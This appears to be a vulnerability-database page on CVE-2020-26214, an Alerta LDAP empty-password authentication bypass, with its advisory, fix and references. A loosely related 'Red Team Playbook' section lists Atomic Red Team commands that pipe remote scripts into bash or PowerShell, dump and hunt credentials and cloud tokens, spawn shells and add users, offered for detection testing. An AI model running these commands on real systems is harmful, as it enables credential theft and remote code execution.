CVE-2020-26214
Overview
This vulnerability is an authentication bypass caused by improper validation of LDAP bind requests in the Alerta server. The root cause lies in the acceptance of empty passwords during LDAP authentication when LDAP is configured as the authorization provider. The affected component is the LDAP authentication mechanism within Alerta versions prior to 8.1.0, which fails to reject unauthenticated bind attempts under specific LDAP server configurations.
Vulnerability Description
In Alerta before version 8.1.0, users may be able to bypass LDAP authentication if they provide an empty password when Alerta server is configure to use LDAP as the authorization provider. Only deployments where LDAP servers are configured to allow unauthenticated authentication mechanism for anonymous authorization are affected. A fix has been implemented in version 8.1.0 that returns HTTP 401 Unauthorized response for any authentication attempts where the password field is empty. As a workaround LDAP administrators can disallow unauthenticated bind requests by clients.
Impact
An attacker can bypass LDAP authentication without valid credentials by submitting an empty password, gaining unauthorized access to the Alerta system. This attack requires network access to the Alerta server configured with LDAP authorization and an LDAP server that permits unauthenticated bind requests. The attacker can impersonate legitimate users, potentially accessing sensitive alert data or administrative functions. The CVSS vector indicates no user interaction or privileges are needed (AV:N/AC:L/PR:N/UI:N), making exploitation straightforward in vulnerable deployments.
Solution
Upgrade Alerta to version 8.1.0 or later, where the authentication mechanism rejects empty passwords with an HTTP 401 Unauthorized response, as detailed in the GitHub advisory GHSA-5hmm-x8q8-w5jh. As an interim mitigation, LDAP administrators should configure their LDAP servers to disallow unauthenticated bind requests, preventing anonymous authorization. Refer to the official Alerta GitHub security advisory and pull request #1345 for comprehensive patch and configuration instructions.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Alerta prior to version 8.1.0 arises from a flaw in the LDAP authentication mechanism, specifically allowing users to bypass authentication by submitting an empty password. This issue is particularly critical in environments where LDAP servers are configured to permit unauthenticated access for anonymous authorization. When the Alerta server is set to use LDAP as its authorization provider, an attacker can exploit this weakness to gain unauthorized access to the system, potentially leading to severe security breaches. The flaw lies in the server's failure to validate the password field properly, which should ideally reject any authentication attempts with an empty password.
Attack vectors for this vulnerability are straightforward yet alarming. An attacker could leverage tools to send authentication requests to the Alerta server, deliberately leaving the password field blank. If the LDAP server permits anonymous binds, the attacker could gain access to the system without any credentials. This exploitation could be executed remotely, making it accessible to a wide range of potential attackers, including those with minimal technical skills. In scenarios where sensitive data is managed or monitored by Alerta, the implications of such unauthorized access could be dire, allowing attackers to manipulate alerts, access confidential information, or disrupt service availability.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on Alerta for monitoring and alerting in critical infrastructure. The high CVSS score of 9.8 indicates a critical risk, suggesting that successful exploitation could lead to severe consequences, including data breaches, loss of integrity, and potential regulatory non-compliance. Businesses that fail to address this vulnerability may face reputational damage, financial losses, and legal ramifications, especially if sensitive data is compromised. Furthermore, the ease of exploitation means that even less sophisticated attackers could potentially breach systems, increasing the urgency for organizations to implement effective security measures.
To detect and mitigate this vulnerability, organizations should first ensure they are running the latest version of Alerta, which includes a fix that returns an HTTP 401 Unauthorized response for authentication attempts with an empty password. Regularly updating software is a fundamental practice in cybersecurity hygiene. Additionally, LDAP administrators should configure their servers to disallow unauthenticated bind requests, effectively closing the door on this attack vector. Implementing robust logging and monitoring solutions can also help in detecting unauthorized access attempts, allowing organizations to respond swiftly to potential threats.
In conclusion, the vulnerability in Alerta's LDAP authentication mechanism underscores the importance of rigorous security practices in software deployment and configuration. Organizations must remain vigilant, ensuring that their systems are updated and properly configured to mitigate risks associated with authentication flaws. By adopting a proactive approach to cybersecurity, businesses can protect themselves against unauthorized access and the myriad of threats that accompany such vulnerabilities.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Alerta Project | Alerta | All |
cpe:2.3:a:alerta_project:alerta:*:*:*:*:*:*:*:*
|
|
|
Alerta Project | Alerta | All |
cpe:2.3:a:alerta_project:alerta:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-26214 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/alerta/alerta/security/advisories/GHSA-5hmm-x8q8-w5jh |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/alerta/alerta/issues/1277 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/alerta/alerta/pull/1345 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/alerta/alerta/commit/2bfa31779a4c9df2fa68fa4d0c5c909698c5ef65 |
| pypi.org |
GitHub CVE
x_refsource_MISC
|
https://pypi.org/project/alerta-server/8.1.0/ |
| tools.ietf.org |
GitHub CVE
x_refsource_MISC
|
https://tools.ietf.org/html/rfc4513#section-5.1.2 |